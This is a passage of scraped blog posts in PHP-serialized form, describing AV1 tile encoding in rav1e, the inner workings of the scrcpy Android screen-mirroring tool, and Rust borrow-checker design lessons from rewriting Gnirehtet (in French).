let first_row = &region[64];
let first_column = row[64]; // wrong, a raw slice necessarily starts at 0

Therefore, offsets used in tiling views are relative to the tile (contrary to libaom and AV1 specification).

Tile encoding

Encoding a frame first involves frame-wise accesses (initialization), then tile-wise accesses (to encode tiles in parallel), then frame-wise accesses using the results of tile-encoding (deblocking, CDEF, loop restoration, …).

All the frame-level structures have been replaced by tiling views where necessary.

The tiling views exist only temporarily, during the calls to encode_tile(). While they are alive, it is not possible to access frame-level structures (the borrow checker statically prevents it).

Then the tiling structures vanish, and frame-level processing can continue.

This schema gives an overview:

                                \
      +----------------+         |
      |                |         |
      |                |         |  Frame-wise accesses
      |                |          >
      |                |         |   - FrameState<T>
      |                |         |   - Frame<T>
      +----------------+         |   - Plane<T>
                                /    - ...

              ||   tiling views
              \/
                                \
  +---+  +---+  +---+  +---+     |
  |   |  |   |  |   |  |   |     |  Tile encoding (possibly in parallel)
  +---+  +---+  +---+  +---+     |
                                 |
  +---+  +---+  +---+  +---+     |  Tile-wise accesses
  |   |  |   |  |   |  |   |      >
  +---+  +---+  +---+  +---+     |   - TileStateMut<'_, T>
                                 |   - TileMut<'_, T>
  +---+  +---+  +---+  +---+     |   - PlaneRegionMut<'_, T>
  |   |  |   |  |   |  |   |     |
  +---+  +---+  +---+  +---+     |
                                /

              ||   vanishing of tiling views
              \/
                                \
      +----------------+         |
      |                |         |
      |                |         |  Frame-wise accesses
      |                |          >
      |                |         |  (deblocking, CDEF, ...)
      |                |         |
      +----------------+         |
                                /

Command-line

To enable tile encoding, parameters have been added to pass the (log2) number of tiles --tile-cols-log2 and --tile-rows-log2. For example, to request 2x2 tiles:

rav1e video.y4m -o video.ivf --tile-cols-log2 1 --tile-rows-log2 1

Currently, we need to pass the log2 of the number of tiles (like in libaom, even if the aomenc options are called --tile-columns and --tile-rows), to avoid any confusion. Maybe we could find a better option which is both correct, non-confusing and user-friendly later.

Bitstream

Now that we can encode tiles, we must write them according to the AV1 bitstream specification, so that decoders can read the resulting file correctly.

Before tile encoding (i.e. with a single tile), rav1e produced a correct bitstream. Several changes were necessary to write multiple tiles.

Tile info

According to Tile info syntax, the frame header signals the number of columns and rows of tiles (it always signaled a single tile before).

In addition, when there are several tiles, it signals two more values, described below.

CDF update

For entropy coding, the encoder maintain and update a CDF (Cumulative Distribution Function), representing the probabilities of symbols.

After a frame is encoded, the current CDF state is saved to be possibly used as a starting state for future frames.

But with tile encoding, each tile finishes with its own CDF state, so which one should we associate to the reference frame? The answer is: any of them. But we must signal the one we choose, in context_update_tile_id; the decoder needs it to decode the bitstream.

In practice, we keep the CDF from the biggest tile.

Size of tiles size

The size of an encoded tile, in bytes, is variable (of course). Therefore, we will need to signal the size of each tile.

To gain a few bytes, the number of bytes used to store the size itself is also variable, and signaled by 2 bits in the frame header (tile_size_bytes_minus_1).

Concretely, we must choose the smallest size that is sufficient to encode all the tile sizes for the frame.

Tile group

According to General tile group OBU syntax, we need to signal two values when there are more than 1 tile:

The tile size (minus 1) is written in little endian, and use the number of bytes we signaled in the frame header.

That’s all. This is sufficient to produce a correct bitstream with multiple tiles.

Parallelization

Thanks to Rayon, parallelizing tile encoding is as easy as replacing iter_mut() by par_iter_mut().

I tested on my laptop (8 CPUs) several encodings to compare encoding performance (this is not a good benchmark, but it gives an idea, you are encouraged to run your own tests). Here are the results:

 tiles     time      speedup
   1    7mn02,336s    1.00×
   2    3mn53,578s    1.81×
   4    2mn12,995s    3.05×
   8*   1mn57,533s    3.59×

Speedups are quite good for 2 and 4 tiles.

*The reason why the speedup is lower than expected for 8 tiles is that my CPU has actually only 4 physical cores. See this reddit comment and this other one.

Limits

Why not 2×, 4× and 8× speedup? Mainly because of Amdahl’s law.

Tile encoding parallelizes only a part of the whole process: there are still single-threaded processings at frame-level.

Suppose that a proportion p (between 0 and 1) of a given task can be parallelized. Then its theoretical speedup is 1 / ((p/n) + (1-p)), where n is the number of threads.

 tiles   speedup   speedup   speedup
         (p=0.9)   (p=0.95)  (p=0.98)
   2      1.82×     1.90×     1.96×
   4      3.07×     3.48×     3.77×
   8      4.71×     5.93×     7.02×

Maybe counterintuitively, to increase the speedup brought by parallelization, non-parallelized code must be optimized (the more threads are used, the more the non-parallelized code represents a significant part).

The (not-so-reliable) benchmark results for 2 and 4 tiles suggest that tile encoding represents ~90% of the whole encoding process.

Fixing bugs

Not everything worked the first time.

The most common source of errors while implementing tile encoding was related to offsets.

When there was only one tile, all offsets were relative to the frame. With several tiles, some offsets are relative to the current tile, but some others are still relative to the whole frame. For example, during motion estimation, a motion vector can point outside tile boundaries in the reference frame, so we must take care to convert offsets accordingly.

The most obvious errors were catched by plane regions (which prevent access outside boundaries), but some others were more subtle.

Such errors could produce interesting images. For example, here is a screenshot of my first tiled video:

bbb

One of these offsets confusions had been quickly catched by barrbrain in intra-prediction. I then fixed a similar problem in inter-prediction.

But the final boss bug was way more sneaky: it corrupted the bitstream (so the decoder was unable to decode), but not always, and never the first frame. When an inter-frame could be decoded, it was sometimes visually corrupted, but only for some videos and for some encoding parameters.

After more than one week of investigations, I finally found it. \o/

Conclusion

Implementing this feature was an awesome journey. I learned a lot, both about Rust and video encoding (I didn’t even know what a tile was before I started).

Big thanks to the Mozilla/Xiph/Daala team, who has been very welcoming and helpful, and who does amazing work!

Discuss on r/programming, r/rust, r/AV1 and Hacker News.

";s:7:"dateiso";s:15:"20190425_101500";}s:15:"20180308_120000";a:7:{s:5:"title";s:18:"Introducing scrcpy";s:4:"link";s:50:"https://blog.rom1v.com/2018/03/introducing-scrcpy/";s:4:"guid";s:49:"https://blog.rom1v.com/2018/03/introducing-scrcpy";s:7:"pubDate";s:25:"2018-03-08T12:00:00+01:00";s:11:"description";s:0:"";s:7:"content";s:21218:"

I developed an application to display and control Android devices connected on USB. It does not require any root access. It works on GNU/Linux, Windows and Mac OS.

scrcpy

It focuses on:

Like my previous project, gnirehtet, Genymobile accepted to open source it: scrcpy.

You can build, install and run it.

How does scrcpy work?

The application executes a server on the device. The client and the server communicate via a socket over an adb tunnel.

The server streams an H.264 video of the device screen. The client decodes the video frames and displays them.

The client captures input (keyboard and mouse) events, sends them to the server, which injects them to the device.

The documentation gives more details.

Here, I will detail several technical aspects of the application likely to interest developers.

Minimize latency

No buffering

It takes time to encode, transmit and decode the video stream. To minimize latency, we must avoid any additional delay.

For example, let’s stream the screen with screenrecord and play it with VLC:

adb exec-out screenrecord --output-format=h264 - | vlc - --demux h264

Initially, it works, but quickly the latency increases and frames are broken. The reason is that VLC associates a PTS to frames, and buffers the stream to play frames at some target time.

As a consequence, it sometimes prints such errors on stderr:

ES_OUT_SET_(GROUP_)PCR  is called too late (pts_delay increased to 300 ms)

Just before I started the project, Philippe, a colleague who played with WebRTC, advised me to “manually” decode (using FFmpeg) and render frames, to avoid any additional latency. This saved me from wasting time, it was the right solution.

Decoding the video stream to retrieve individual frames with FFmpeg is rather straightforward.

Skip frames

If, for any reason, the rendering is delayed, decoded frames are dropped so that scrcpy always displays the last decoded frame.

Note that this behavior may be changed with a configuration flag:

mesonconf x -Dskip_frames=false

Run a Java main on Android

Capturing the device screen requires some privileges, which are granted to shell.

It is possible to execute Java code as shell on Android, by invoking app_process from adb shell.

Hello, world!

Here is a simple Java application:

public class HelloWorld {
    public static void main(String... args) {
        System.out.println("Hello, world!");
    }
}

Let’s compile and dex it:

javac -source 1.7 -target 1.7 HelloWorld.java
"$ANDROID_HOME"/build-tools/27.0.2/dx \
    --dex --output classes.dex HelloWorld.class

Then, we push classes.dex to an Android device:

adb push classes.dex /data/local/tmp/

And execute it:

$ adb shell CLASSPATH=/data/local/tmp/classes.dex app_process / HelloWorld
Hello, world!

Access the Android framework

The application can access the Android framework at runtime.

For example, let’s use android.os.SystemClock:

import android.os.SystemClock;

public class HelloWorld {
    public static void main(String... args) {
        System.out.print("Hello,");
        SystemClock.sleep(1000);
        System.out.println(" world!");
    }
}

We link our class against android.jar:

javac -source 1.7 -target 1.7 \
    -cp "$ANDROID_HOME"/platforms/android-27/android.jar
    HelloWorld.java

Then run it as before.

Note that scrcpy also needs to access hidden methods from the framework. In that case, linking against android.jar is not sufficient, so it uses reflection.

Like an APK

The execution also works if classes.dex is embedded in a zip/jar:

jar cvf hello.jar classes.dex
adb push hello.jar /data/local/tmp/
adb shell CLASSPATH=/data/local/tmp/hello.jar app_process / HelloWorld

You know an example of a zip containing classes.dex? An APK!

Therefore, it works for any installed APK containing a class with a main method:

$ adb install myapp.apk
…
$ adb shell pm path my.app.package
package:/data/app/my.app.package-1/base.apk
$ adb shell CLASSPATH=/data/app/my.app.package-1/base.apk \
    app_process / HelloWorld

In scrcpy

To simplify the build system, I decided to build the server as an APK using gradle, even if it’s not a real Android application: gradle provides tasks for running tests, checking style, etc.

Invoked that way, the server is authorized to capture the device screen.

Improve startup time

Quick installation

Nothing is required to be installed on the device by the user: at startup, the client is responsible for executing the server on the device.

We saw that we can execute the main method of the server from an APK either:

Which one to choose?

$ time adb install server.apk
…
real    0m0,963s
…

$ time adb push server.apk /data/local/tmp/
…
real    0m0,022s
…

So I decided to push.

Note that /data/local/tmp is readable and writable by shell, but not world-writable, so a malicious application may not replace the server just before the client executes it.

Parallelization

If you executed the Hello, world! in the previous section, you may have noticed that running app_process takes some time: Hello, World! is not printed before some delay (between 0.5 and 1 second).

In the client, initializing SDL also takes some time.

Therefore, these initialization steps have been parallelized.

Clean up the device

After usage, we want to remove the server (/data/local/tmp/scrcpy-server.jar) from the device.

We could remove it on exit, but then, it would be left on device disconnection.

Instead, once the server is opened by app_process, scrcpy unlinks (rm) it. Thus, the file is present only for less than 1 second (it is removed even before the screen is displayed).

The file itself (not its name) is actually removed when the last associated open file descriptor is closed (at the latest, when app_process dies).

Handle text input

Handling input received from a keyboard is more complicated than I thought.

Events

There are 2 kinds of “keyboard” events:

Key events provide both the scancode (the physical location of a key on the keyboard) and the keycode (which depends on the keyboard layout). Only keycodes are used by scrcpy (it doesn’t need the location of physical keys).

However, key events are not sufficient to handle text input:

Sometimes it can take multiple key presses to produce a character. Sometimes a single key press can produce multiple characters.

Even simple characters may not be handled easily with key events, since they depend on the layout. For example, on a French keyboard, typing . (dot) generates Shift+;.

Therefore, scrcpy forwards key events to the device only for a limited set of keys. The remaining are handled by text input events.

Inject text

On the Android side, we may not inject text directly (injecting a KeyEvent created by the relevant constructor does not work). Instead, we can retrieve a list of KeyEvents to generate for a char[], using getEvents(char[]).

For example:

char[] chars = {'?'};
KeyEvent[] events = charMap.getEvents(chars);

Here, events is initialized with an array of 4 events:

  1. press KEYCODE_SHIFT_LEFT
  2. press KEYCODE_SLASH
  3. release KEYCODE_SLASH
  4. release KEYCODE_SHIFT_LEFT

Injecting those events correctly generates the char '?'.

Handle accented characters

Unfortunately, the previous method only works for ASCII characters:

char[] chars = {'é'};
KeyEvent[] events = charMap.getEvents(chars);
// events is null!!!

I first thought there was no way to inject such events from there, until I discussed with Philippe (yes, the same as earlier), who knew the solution: it works when we decompose the characters using combining diacritical dead key characters.

Concretely, instead of injecting "é", we inject "\u0301e":

char[] chars = {'\u0301', 'e'};
KeyEvent[] events = charMap.getEvents(chars);
// now, there are events

Therefore, to support accented characters, scrcpy attempts to decompose the characters using KeyComposition.

Set a window icon

The application window may have an icon, used in the title bar (for some desktop environments) and/or in the desktop taskbar.

The window icon must be set from an SDL_Surface by SDL_SetWindowIcon. Creating the surface with the icon content is up to the developer. For exemple, we could decide to load the icon from a PNG file, or directly from its raw pixels in memory.

Instead, another colleague, Aurélien, suggested I use the XPM image format, which is also a valid C source code: icon.xpm.

Note that the image is not the content of the variable icon_xpm declared in icon.xpm: it’s the whole file! Thus, icon.xpm may be both directly opened in Gimp and included in C source code:

#include "icon.xpm"

As a benefit, we directly “recognize” the icon from the source code, and we can patch it easily: in debug mode, the icon color is changed.

Conclusion

Developing this project was an awesome and motivating experience. I’ve learned a lot (I never used SDL or libav/FFmpeg before).

The resulting application works better than I initially expected, and I’m happy to have been able to open source it.

Discuss on reddit and Hacker News.

";s:7:"dateiso";s:15:"20180308_120000";}s:15:"20170921_170000";a:7:{s:5:"title";s:27:"Gnirehtet réécrit en Rust";s:4:"link";s:57:"https://blog.rom1v.com/2017/09/gnirehtet-reecrit-en-rust/";s:4:"guid";s:56:"https://blog.rom1v.com/2017/09/gnirehtet-reecrit-en-rust";s:7:"pubDate";s:25:"2017-09-21T17:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:91788:"

Il y a quelques mois, j’ai présenté Gnirehtet, un outil de reverse tethering pour Android que j’ai écrit en Java.

Depuis, je l’ai réécrit en Rust.

Et il est également open source ! Téléchargez-le, branchez un téléphone ou une tablette Android, et exécutez :

./gnirehtet run

(adb doit être installé)

Pourquoi Rust?

À Genymobile, nous voulions que Gnirehtet ne nécessite pas d’environnement d’exécution Java (JRE), donc le besoin principal était de compiler l’application vers un binaire exécutable natif.

Par conséquent, j’ai d’abord pensé la réécrire en C ou C++. Mais à ce moment-là (début mai), apprendre Rust m’intéressait, après avoir vaguement entendu parler de ses fonctionnalités:

Cependant, je n’avais jamais écrit une ligne de Rust ni entendu parler de son système de possession, d’emprunt ou de durées de vie.

Mais je suis convaincu que le meilleur moyen d’apprendre un langage de programmation est de travailler à plein temps sur un projet dans ce langage.

J’étais motivé, donc après avoir vérifié que ça pouvait convenir (en gros, j’ai écrit un exemple utilisant la bibliothèque d’I/O asynchrone mio, et je l’ai exécuté à la fois sur Linux et Windows), j’ai décidé de réécrire Gnirehtet en Rust.

Apprendre Rust

Pendant la réécriture, j’ai dévoré successivement le Rust book, Rust by example et le Rustonomicon. J’ai beaucoup appris, et j’aime énormément ce langage. Beaucoup de ses fonctionnalités me manquent maintenant quand je travaille sur un projet C++ :

À propos de l’apprentissage, Paul Graham a écrit:

Reading and experience train your model of the world. And even if you forget the experience or what you read, its effect on your model of the world persists. Your mind is like a compiled program you’ve lost the source of. It works, but you don’t know why.

Pour les non-anglophones, ma propre traduction :

La lecture et l’expérience entraînent votre modèle du monde. Et même si vous oubliez l’expérience ou ce que vous avez lu, son effet sur votre modèle du monde persiste. Votre esprit est comme un programme compilé dont vous auriez perdu le code source. Ça fonctionne, mais vous ne savez pas pourquoi.

Certains des concepts de Rust (comme les durées de vie ou la sémantique de mouvement par défaut) m’ont fourni un jeu de données significativement différent, qui a sans aucun doute affecté mon modèle du monde (de la programmation).

Je ne vais pas présenter toutes ces fonctionnaliés (cliquez sur les liens de la documentation si ça vous intéresse). À la place, je vais essayer d’expliquer où et pourquoi Rust a resisté au design que je voulais implémenter, et comment repenser les problèmes dans le périmètre des contraintes de Rust.

La partie suivant nécessite une certaine connaissance de Rust. Vous pourriez vouloir la passer pour aller directement aux stats.

Difficultés

Je trouvais la conception de l’application Java plutôt réussie, donc je voulais reproduire l’architecture globale dans la version Rust (avec d’éventuelles adaptations pour la rustifier).

Mais j’ai lutté sur les détails, en particulier pour satisfaire le borrow checker. Les règles sont simples:

First, any borrow must last for a scope no greater than that of the owner. Second, you may have one or the other of these two kinds of borrows, but not both at the same time:

En français :

Premièrement, aucun emprunt ne doit avoir une portée plus grande que celle de son propriétaire. Deuxièmement, vous pouvez avoir l’un ou l’autre de ces types d’emprunts, mais pas les deux à la fois:

Cependant, il m’a fallu un peu de temps pour réaliser comment elles entrent en conflit avec certains principes ou modèles de conception.

Voici donc mes retours. J’ai sélectionné 4 sujets qui sont suffisamment généraux pour être indépendants de ce projet particulier :

Encapsulation

Les règles d’emprunt contraignent l’encapsulation. C’est la première conséquence que j’ai réalisée.

Voici un exemple canonique :

pub struct Data {
    header: [u8; 4],
    payload: [u8; 20],
}

impl Data {
    pub fn new() -> Self {
        Self {
            header: [0; 4],
            payload: [0; 20],
        }
    }

    pub fn header(&mut self) -> &mut [u8] {
        &mut self.header
    }

    pub fn payload(&mut self) -> &mut [u8] {
        &mut self.payload
    }
}

fn main() {
    let mut data = Data::new();
    let header = data.header();
    let payload = data.payload();
}

Nous créons juste une nouvelle instance de Data, puis associons à des variables locales des références mutables vers les tableaux header et payload, en passant par des accesseurs.

Cependant, cela ne compile pas :

$ rustc sample.rs
error[E0499]: cannot borrow `data` as mutable more than once at a time
  --> sample.rs:21:19
   |
25 |     let header = data.header();
   |                  ---- first mutable borrow occurs here
26 |     let payload = data.payload();
   |                   ^^^^ second mutable borrow occurs here
27 | }
   | - first borrow ends here

Le compilateur ne peut pas faire l’hypothèse que header() et payload() retournent des références vers des données disjointes dans la structure Data. Par conséquent, chacun emprunte la structure data entièrement. Vu que les règles d’emprunt interdisent d’obtenir deux références mutables vers la même ressource, il rejette le second appel.

Parfois, nous faisons face à des limitations temporaires parce que le compilateur n’est pas (encore) assez malin. Ce n’est pas le cas ici : l’implémentation de header() pourrait très bien retourner une référence vers payload, ou écrire dans le tableau payload, enfreignant ainsi les règles d’emprunt. Et la validité d’un appel d’une méthode ne peut pas dépendre de l’implementation de la méthode.

Pour corriger le problème, le compilateur doit être capable de savoir que les variables locales header et payload référencent des données disjointes, par exemple en accédant aux champs directement :

    let header = &mut data.header;
    let payload = &mut data.payload;

ou en exposant une méthode fournissant les deux références simultanément :

struct Data {
    fn header_and_payload(&mut self) -> (&mut [u8], &mut [u8]) {
        (&mut self.header, &mut self.payload)
    }
}

fn main() {
    let mut data = Data::new();
    let (header, payload) = data.header_and_payload();
}

De même, dans l’implémentation d’une structure, les règles d’emprunt empêchent de factoriser du code dans une méthode privée facilement. Prenons cet exemple (artificiel) :

pub struct Data {
    buf: [u8; 20],
    prefix_length: usize,
    sum: u32,
    port: u16,
}

impl Data {
    pub fn update_sum(&mut self) {
        let content = &self.buf[self.prefix_length..];
        self.sum = content.iter().cloned().map(u32::from).sum();
    }

    pub fn update_port(&mut self) {
        let content = &self.buf[self.prefix_length..];
        self.port = (content[2] as u16) << 8 | content[3] as u16;
    }
}

Ici, le champ buf est un tableau stockant un préfixe et un contenu de manière contiguë.

Nous voulons factoriser la manière dont nous récupérons la slice content, pour que les méthodes update_*() n’aient pas à se préoccuper des détails. Essayons :

 impl Data {
     pub fn update_sum(&mut self) {
-        let content = &self.buf[self.prefix_length..];
+        let content = self.content();
         self.sum = content.iter().cloned().map(u32::from).sum();
     }

     pub fn update_port(&mut self) {
-        let content = &self.buf[self.prefix_length..];
+        let content = self.content();
         self.port = (content[2] as u16) << 8 | content[3] as u16;
     }
+
+    fn content(&mut self) -> &[u8] {
+        &self.buf[self.prefix_length..]
+    }
 }

Malheureusement, cela ne compile pas :

error[E0506]: cannot assign to `self.sum` because it is borrowed
  --> facto2.rs:11:9
   |
10 |         let content = self.content();
   |                       ---- borrow of `self.sum` occurs here
11 |         self.sum = content.iter().cloned().map(u32::from).sum();
   |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ assignment to borrowed `self.sum` occurs here

error[E0506]: cannot assign to `self.port` because it is borrowed
  --> facto2.rs:16:9
   |
15 |         let content = self.content();
   |                       ---- borrow of `self.port` occurs here
16 |         self.port = (content[2] as u16) << 8 & content[3] as u16;
   |

Comme dans l’exemple précédent, récupérer une référence à travers une méthode emprunte la structure complète (ici, self).

Pour contourner le problème, nous pouvons expliquer au compilateur que les champs sont disjoints :

impl Data {
    pub fn update_sum(&mut self) {
        let content = Self::content(&self.buf, self.prefix_length);
        self.sum = content.iter().cloned().map(u32::from).sum();
    }

    pub fn update_port(&mut self) {
        let content = Self::content(&self.buf, self.prefix_length);
        self.port = (content[2] as u16) << 8 | content[3] as u16;
    }

    fn content(buf: &[u8], prefix_length: usize) -> &[u8] {
        &buf[prefix_length..]
    }
}

Ça compile, mais cela va totalement à l’encontre de la factorisation : l’appelant doit fournir les champs nécessaires.

Comme alternative, nous pouvons utiliser une macro pour inliner le code :

macro_rules! content {
    ($self:ident) => {
        &$self.buf[$self.prefix_length..]
    }
}

impl Data {
    pub fn update_sum(&mut self) {
        let content = content!(self);
        self.sum = content.iter().cloned().map(u32::from).sum();
    }

    pub fn update_port(&mut self) {
        let content = content!(self);
        self.port = (content[2] as u16) << 8 | content[3] as u16;
    }
}

Mais c’est loin d’être idéal.

Je pense que nous devons juste l’accepter : l’encapsulation entre parfois en conflit avec les règles d’emprunt. Après tout, ce n’est pas si surprenant : imposer les règles d’emprunt nécessite de suivre chaque accès concret aux ressources, alors que l’encapsulation vise à les abstraire.

Observateur

Le design pattern observateur est utile pour enregistrer des événements sur un objet.

Dans certains cas, ce pattern pose des difficultés d’implémentation en Rust.

Pour faire simple, considérons que les événements sont des valeurs u32. Voici une implémentation possible :

pub trait EventListener {
    fn on_event(&self, event: u32);
}

pub struct Notifier {
    listeners: Vec<Box<EventListener>>,
}

impl Notifier {
    pub fn new() -> Self {
        Self { listeners: Vec::new() }
    }

    pub fn register<T: EventListener + 'static>(&mut self, listener: T) {
        self.listeners.push(Box::new(listener));
    }

    pub fn notify(&self, event: u32) {
        for listener in &self.listeners {
            listener.on_event(event);
        }
    }
}

Par commodité, implémentons notre trait EventListener pour les closures :

impl<F: Fn(u32)> EventListener for F {
    fn on_event(&self, event: u32) {
        self(event);
    }
}

Ainsi, son utilisation est simple :

    let mut notifier = Notifier::new();
    notifier.register(|event| println!("received [{}]", event));
    println!("notifying...");
    notifier.notify(42);

Cela affiche :

notifying...
received [42]

Jusqu’ici, tout va bien.

Cependant, les choses se compliquent si nous voulons modifier un état sur la réception d’un événement. Par exemple, implémentons une structure pour stocker tous les événements reçus :

pub struct Storage {
    events: Vec<u32>,
}

impl Storage {
    pub fn new() -> Self {
        Self { events: Vec::new() }
    }

    pub fn store(&mut self, value: u32) {
        self.events.push(value);
    }

    pub fn events(&self) -> &Vec<u32> {
        &self.events
    }
}

Pour pouvoir remplir ce Storage sur chaque événement reçu, nous devons d’une manière ou d’une autre le passer avec l’event listener, qui sera stocké dans le Notifier. Par conséquent, nous avons besoin qu’une instance de Storage soit partagée entre le code appelant et le Notifier.

Avoir deux références mutables vers le même objet enfreint évidemment les règles d’emprunt, donc nous avons besoin d’un pointeur à compteur de références.

Cependant, un tel pointeur est en lecture seul, donc nous avons également besoin d’un RefCell pour la mutabilité intérieure.

Ainsi, nous allons utiliser une instance de Rc<RefCell<Storage>>. Cela peut sembler trop verbeux, mais utiliser Rc<RefCell<T>> (ou Arc<Mutex<T>> pour la thread-safety) est très courant en Rust. Et il y a pire.

Voici ce que donne le code client :

    use std::cell::RefCell;
    use std::rc::Rc;

    let mut notifier = Notifier::new();

    // first Rc to the Storage
    let rc = Rc::new(RefCell::new(Storage::new()));

    // second Rc to the Storage
    let rc2 = rc.clone();

    // register the listener saving all the received events to the Storage
    notifier.register(move |event| rc2.borrow_mut().store(event));

    notifier.notify(3);
    notifier.notify(141);
    notifier.notify(59);
    assert_eq!(&vec![3, 141, 59], rc.borrow().events());

De cette manière, le Storage est correctement modifié à partir de l’event listener.

Tout n’est pas résolu pour autant. Dans cet exemple, c’était facile, nous avions accès à l’instance Rc<RefCell<Storage>>. Comment faire si nous avons seulement accès au Storage, par exemple si nous voulons que le Storage s’enregistre lui-même à partir de l’une de ses méthodes, sans que l’appelant n’ait à fournir l’instance Rc<RefCell<Storage>> ?

impl Storage {
    pub fn register_to(&self, notifier: &mut Notifier) {
        notifier.register(move |event| {
            /* how to retrieve a &mut Storage from here? */
        });
    }
}

Nous devons trouver un moyen de récupérer le Rc<RefCell<Storage>> à partir du Storage.

Pour cela, l’idée consiste à rendre Storage conscient de son pointeur à compteur de références. Bien sûr, cela n’a du sens que si Storage est construit dans un Rc<RefCell<Storage>>.

C’est exactement ce que enable_shared_from_this fournit en C++, donc nous pouvons nous inspirer de son fonctionnement : juste stocker un Weak<RefCell<…>>, downgradé à partir du Rc<RefCell<…>>, dans la structure elle-même. De cette manière, nous pouvons l’utiliser pour récupérer une référence &mut Storage à partir de l’event listener :

use std::rc::{Rc, Weak};
use std::cell::RefCell;

pub struct Storage {
    self_weak: Weak<RefCell<Storage>>,
    events: Vec<u32>,
}

impl Storage {
    pub fn new() -> Rc<RefCell<Self>> {
        let rc = Rc::new(RefCell::new(Self {
            self_weak: Weak::new(), // initialize empty
            events: Vec::new(),
        }));
        // set self_weak once we get the Rc instance
        rc.borrow_mut().self_weak = Rc::downgrade(&rc);
        rc
    }

    pub fn register_to(&self, notifier: &mut Notifier) {
        let rc = self.self_weak.upgrade().unwrap();
        notifier.register(move |event| rc.borrow_mut().store(event))
    }
}

Voici comment l’utiliser :

    let mut notifier = Notifier::new();
    let rc = Storage::new();
    rc.borrow().register_to(&mut notifier);
    notifier.notify(3);
    notifier.notify(141);
    notifier.notify(59);
    assert_eq!(&vec![3, 141, 59], rc.borrow().events());

Il est donc possible d’implémenter le design pattern observateur en Rust, mais c’est un peu plus difficile qu’en Java ;-)

Lorsque c’est possible, il est probablement préférable de l’éviter.

Partage de données mutables

Mutable references cannot be aliased.

En français :

Les références mutables ne peuvent pas être aliasées.

Comment partager des données mutables, alors ?

Nous avons vu que nous pouvions utiliser Rc<RefCell<…>> (ou Arc<Mutex<…>>), qui impose les règles d’emprunt à l’exécution. Cependant, ce n’est pas toujours désirable :

Au lieu de cela, nous pourrions utiliser des pointeurs bruts manuellement dans du code non-sûr, mais alors ce serait non-sûr.

Et il y a une autre solution, qui consiste à exposer des vues temporaires d’emprunt d’un objet. Laissez-moi expliquer.

Dans Gnirehtet, un paquet contient une référence vers les données brutes (stockées dans un buffer quelque part) ainsi que les valeur des champs des en-têtes IP et TCP/UDP (parsées à partir du tableau d’octets brut). Nous aurions pu utiliser une structure à plat pour tout stocker :

pub struct Packet<'a> {
    raw: &'a mut [u8],
    ipv4_source: u32,
    ipv4_destination: u32,
    ipv4_protocol: u8,
    // + other ipv4 fields
    transport_source: u16,
    transport_destination: u16,
    // + other transport fields
}

Le Packet aurait fourni des setters pour tous les champs d’en-têtes (modifiant à la fois les champs du paquet et le tableau d’octets). Par exemple :

impl<'a> Packet<'a> {
    pub fn set_transport_source(&mut self, transport_source: u16) {
        self.transport_source = transport_source;
        let transport = &mut self.raw[20..];
        BigEndian::write_u16(&mut transport[0..2], port);
    }
}

Mais cette conception ne serait pas terrible (surtout que les champs d’en-têtes TCP et UDP sont différents).

À la place, nous voudrions extraire les en-têtes d’IP et de transport vers des structures séparées, gérant leur propre partie du tableau d’octets :

// violates the borrowing rules

pub struct Packet<'a> {
    raw: &'a mut [u8], // the whole packet (including headers)
    ipv4_header: Ipv4Header<'a>,
    transport_header: TransportHeader<'a>,
}

pub struct Ipv4Header<'a> {
    raw: &'a mut [u8], // slice related to ipv4 headers
    source: u32,
    destination: u32,
    protocol: u8,
    // + other ipv4 fields
}

pub struct TransportHeader<'a> {
    raw: &'a mut [u8], // slice related to transport headers
    source: u16,
    destination: u16,
    // + other transport fields
}

Vous avez immédiatement repéré le problème : il y a plusieurs références vers la même ressource, le tableau d’octets raw, en même temps.

Remarquez que diviser le tableau n’est pas une possibilité ici, vu que les slices de raw se chevauchent : nous avons besoin d’écrire le paquet complet en une seule fois vers la couche réseau, donc le tableau raw dans Packet doit inclure les headers.

Nous avons besoin d’une solution compatible avec les règles d’emprunt.

Voici celle à laquelle je suis parvenu :

Et voici une simplification de l’implémentation réelle :

pub struct Packet<'a> {
    raw: &'a mut [u8],
    ipv4_header: Ipv4HeaderData,
    transport_header: TransportHeaderData,
}

pub struct Ipv4HeaderData {
    source: u32,
    destination: u32,
    protocol: u8,
    // + other ipv4 fields
}

pub struct TransportHeaderData {
    source: u16,
    destination: u16,
    // + other transport fields
}

pub struct Ipv4Header<'a> {
    raw: &'a mut [u8],
    data: &'a mut Ipv4HeaderData,
}

pub struct TransportHeader<'a> {
    raw: &'a mut [u8],
    data: &'a mut TransportHeaderData,
}

impl<'a> Packet<'a> {
    pub fn ipv4_header(&mut self) -> Ipv4Header {
        Ipv4Header {
            raw: &mut self.raw[..20],
            data: &mut self.ipv4_header,
        }
    }

    pub fn transport_header(&mut self) -> TransportHeader {
        TransportHeader {
            raw: &mut self.raw[20..40],
            data: &mut self.transport_header,
        }
    }
}

Les setters sont implémentés sur les vues, où ils détiennent une référence mutable vers le tableau brut :

impl<'a> TransportHeader<'a> {
    pub fn set_source(&mut self, source: u16) {
        self.data.source = source;
        BigEndian::write_u16(&mut raw[0..2], source);
    }

    pub fn set_destination(&mut self, destination: u16) {
        self.data.destination = destination;
        BigEndian::write_u16(&mut raw[2..4], destination);
    }
}

De cette manière, les règles d’emprunt sont respectées, et l’API est élégante :

    let mut packet = ;
    // "transport_header" borrows "packet" during its scope
    let mut transport_header = packet.transport_header();
    transport_header.set_source(1234);
    transport_header.set_destination(1234);

Limitations du compilateur

Rust est un langage jeune, et le compilateur a quelques problèmes ennuyeux.

Le pire, d’après moi, est lié aux durées de vie non-lexicales, qui provoque des erreurs inattendues :

struct Container {
    vec: Vec<i32>,
}

impl Container {
    fn find(&mut self, v: i32) -> Option<&mut i32> {
        None // we don't care the implementation
    }

    fn get(&mut self, v: i32) -> &mut i32 {
        if let Some(x) = self.find(v) {
            return x;
        }
        self.vec.push(v);
        self.vec.last_mut().unwrap()
    }
}
error[E0499]: cannot borrow `self.vec` as mutable more than once at a time
  --> sample.rs:14:9
   |
11 |         if let Some(x) = self.find(v) {
   |                          ---- first mutable borrow occurs here
...
14 |         self.vec.push(v);
   |         ^^^^^^^^ second mutable borrow occurs here
15 |         self.vec.last_mut().unwrap()
16 |     }
   |     - first borrow ends here

Heureusement, cela devrait être corrigé prochainement.

La fonctionnalité d’Impl Trait, permettant aux fonctions de retourner des types abstraits non-boxés, devrait aussi améliorer l’expérience (il y a aussi une proposition étendue).

Le compilateur produit généralement des messages d’erreur très utiles. Mais quand ce n’est pas le cas, ils peuvent être très déroutants.

Sûreté et pièges

